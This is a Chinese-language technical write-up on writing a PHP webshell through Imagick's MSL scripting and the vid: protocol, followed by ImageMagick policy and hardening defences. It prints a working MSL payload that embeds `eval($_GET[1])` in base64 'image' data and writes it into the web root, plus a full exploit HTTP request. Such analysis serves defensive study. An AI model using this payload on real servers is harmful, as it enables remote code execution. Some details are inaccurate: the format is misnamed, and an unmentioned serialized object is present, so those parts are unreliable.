imagickd写shell的技术学习
字数 1385 2025-08-22 12:22:37
Imagick漏洞利用:通过MSL脚本写入WebShell的技术分析
前言
本文详细分析如何利用PHP的Imagick扩展及其MSL(Magick Scripting Language)功能实现WebShell写入的技术。这种技术利用了Imagick对远程资源和临时文件处理的不安全特性,能够在特定条件下实现任意文件写入。
基础知识
Imagick类
Imagick是PHP的一个图像处理扩展,提供了丰富的图像处理功能。关键点在于其构造函数:
Imagick::__construct ([ mixed $files = "" ] )
参数说明:
$files:要加载的图像路径或路径数组,路径可以包含文件名通配符,也可以是URL
重要特性:
- 支持远程URL作为图像源
- 支持多种协议(包括
http://,https://,data://等)
MSL脚本语言
MSL(Magick Scripting Language)是ImageMagick的脚本语言,用于批量处理图像。关键标签:
<read>标签
<read filename="image.gif" />
<read filename="image.png" />
功能:
- 从磁盘读取一个或多个图像
- 支持多图像读取(处理多帧图像如GIF/TIFF时有用)
<write>标签
<write filename="image.tiff" />
功能:
- 将图像数据写入磁盘
- 可以指定输出格式(如TIFF、PNG、JPEG等)
VID协议
ImageMagick中的特殊协议,关键特性:
- 支持文件名通配符匹配
- 可以包含临时文件而无需知道确切名称
- 通过
vid:msl:/tmp/php*这样的格式可以匹配PHP临时文件
漏洞利用原理
利用链如下:
- 通过Imagick构造函数加载远程MSL脚本
- MSL脚本中包含恶意图像数据(实际是WebShell代码)
- 利用
<write>标签将恶意内容写入Web目录 - 通过VID协议匹配临时文件实现包含
WebShell构造方法
基本思路
- 控制临时文件内容:通过MSL脚本写入
- 绕过文件类型限制:虽然只能写"图片"文件,但可以在图片中嵌入恶意代码
- 利用临时文件包含:通过VID协议匹配临时文件路径
具体实现
恶意MSL脚本示例
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADw/cGhwIGV2YWwoJF9HRVRbMV0pOz8+fE86ODoiYmFja2Rvb3IiOjI6e3M6NDoicGF0aCI7czoxNDoiL3RtcC9zZXNzX2Fma2wiO3M6MTI6ImRvX2V4ZWNfZnVuYyI7YjowO30=" />
<write filename="/var/www/html/shell.php" />
</image>
关键点说明
-
Base64编码部分:
- 开头
data:image/x-portable-anymap;base64伪装成PCX格式图像 - 实际解码后包含PHP代码:
<?php eval($_GET[1]);?>
- 开头
-
文件写入路径:
- 通过
<write>标签指定写入目标路径(如Web目录) - 需要确保目标目录有写入权限
- 通过
完整HTTP请求示例
POST /?a=Imagick&b=vid:msl:/tmp/php* HTTP/1.1
Host: 192.168.177.146:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: multipart/form-data; boundary=--c32aaddf3d8fd979
Content-Length: 710
--c32aaddf3d8fd979
Content-Disposition: form-data; name="swarm"; filename="swarm.msl"
Content-Type: application/octet-stream
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADw/cGhwIGV2YWwoJF9HRVRbMV0pOz8+fE86ODoiYmFja2Rvb3IiOjI6e3M6NDoicGF0aCI7czoxNDoiL3RtcC9zZXNzX2Fma2wiO3M6MTI6ImRvX2V4ZWNfZnVuYyI7YjowO30=" />
<write filename="/var/www/html/1.php" />
</image>
--c32aaddf3d8fd979--
防御措施
-
禁用危险协议:
- 在ImageMagick策略文件中禁用VID、HTTP、HTTPS等协议
- 修改
policy.xml文件,添加:<policy domain="coder" rights="none" pattern="VID" /> <policy domain="coder" rights="none" pattern="HTTP" /> <policy domain="coder" rights="none" pattern="HTTPS" />
-
输入验证:
- 严格验证用户提供的图像路径
- 禁止使用URL作为图像源
-
权限控制:
- Web目录设置适当的权限,限制写入
- 使用open_basedir限制PHP可访问目录
-
更新维护:
- 保持ImageMagick和PHP Imagick扩展最新版本
- 关注安全公告并及时修补漏洞
总结
这种利用方式展示了如何通过Imagick的图像处理功能和MSL脚本语言的组合实现任意文件写入。关键在于:
- Imagick支持远程URL和多种协议
- MSL脚本可以读写文件
- VID协议允许模糊匹配临时文件路径
- 通过精心构造的"图像"数据绕过文件类型限制
理解这种攻击方式有助于更好地防御类似漏洞,特别是在使用复杂图像处理功能的Web应用中。